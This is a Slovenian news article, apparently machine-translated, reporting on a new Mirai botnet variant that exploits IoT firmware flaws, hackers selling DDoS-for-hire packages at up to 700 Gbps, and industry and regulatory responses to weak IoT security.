IoT naprave– običajno usmerjevalniki – vključeni v Mirai botnet dokler se znova ne zažene - potem je črv izbrisan iz njihovega spomina. Vendar botnet ves čas pregleduje internet za ranljive naprave, tako da lahko »ozdravljena« naprava hitro spet postane del njega. Med hekerji vlada prava tekma, kdo bo prvi okužil čim več naprav.

Ni podatkov o tem, kako ustvarjalcem novega Miraia uspe prehiteti svoje konkurente. Vendar pa so novinarjem povedali, da uporabljajo lasten botnet za skeniranje potencialno ranljivih naprav, vključno s tistimi, ki so bile prej del botneta.

"Zakaj ne bi Mirai lovil Mirai in požrl izvirnika," pravi BestBuy.

Ne samo Mirai

Vendar novi botnet ni absorbiral le starih naprav Mirai in novih s privzetimi gesli. Njegovi ustvarjalci uporabljajo tudi 0-dnevne ranljivosti v vdelani programski opremi naprav IoT. Strokovnjaki so prej napovedovali skorajšnji pojav takšnih "kombiniranih" botnetov.

Boj proti njim postane opazno bolj zapleten - če mora uporabnik končne naprave za boj proti Miraiju spremeniti le prijavo in geslo za dostop do nje, potem se ne bo mogel sam spoprijeti z ranljivostmi pripomočka. .

DDoS pri 700 Gbps

Hekerja BestBuy in Popopret sta začela oglaševati svoje storitve – ponujata dostop do svojih nova različica Mirai, pošiljanje neželenih sporočil prek XMPP/Jabber,

Po besedah ​​hekerja strankam ponujajo več paketov storitev. Cenejši se splača $2 000 – za ta denar lahko stranke najamejo od 20.000 do 25.000 botnet vozlišča za zagon stražarjev do dva tedna, s premorom 15 minut med napadi. zadaj $15 000 oz $20 000 stranke imajo zdaj možnost, da 600.000 botov izvede dvourne napade s 30 ali 15-minutnimi premori. V drugem primeru bo moč napada 700 Gbit/s ali več.

Obeti

Varnost IoT naprave je pogosto na precej nizki ravni - to je razloženo z dejstvom, da prodajalci pogosto niso zainteresirani za izvajanje dodatnih ukrepov varnost informacij. Oglašujejo preprostost uporabe svojih izdelkov, vendar vsi dodatni varnostni ukrepi postavljajo omejitve in zahtevajo sredstva.

Kot je navedeno zgoraj, lahko samo razvijalci končnih naprav ali ponudniki, ki jih zagotavljajo (v primeru usmerjevalnikov), zaščitijo uporabnike pred naprednejšimi botneti. Nemški ponudnik Deutsche Telekom, prizadet zaradi napada nove različice Mirai, je že napovedal, da bo "ponovno razmislil o poslovnih odnosih" z dobavitelji ranljivih usmerjevalnikov. Speedport, podjetje Arcadyan.

Navsezadnje bo možno povečati raven varnosti interneta stvari z uvedbo strožjega nadzora naprav s strani ponudnikov na eni strani ter razvojem standardov in regulativne dokumentacije za IoT na drugi strani. . Podobne ukrepe so že sprejeli v mnogih državah, da bi zagotovili varnost avtomatiziranih sistemov za nadzor procesov. Prvi koraki v tej smeri so bili že narejeni – na primer, več ponudnikov IT je septembra objavilo dokument z naslovom Industrijski Internetna varnost Okvir (IISF)- predlaga, da se internet stvari obravnava kot del "industrijskega interneta".

Vendar je vprašanje še daleč od dokončne rešitve, hekerji pa BestBuy in Popopret lahko pridobi monopol v velikem obsegu DDoS napadi na spletu. To je precej žalostno dejstvo, a sami hekerji med pogovorom s Matična plošča izjavili, da njihove dejavnosti ne bodo vodile le dobiček, ampak tudi moralna načela. Tako je BestBuy dejal, da strankam ne bodo dovolili napadov na naslove IP podjetij, ki delajo s kritično infrastrukturo.




Vrh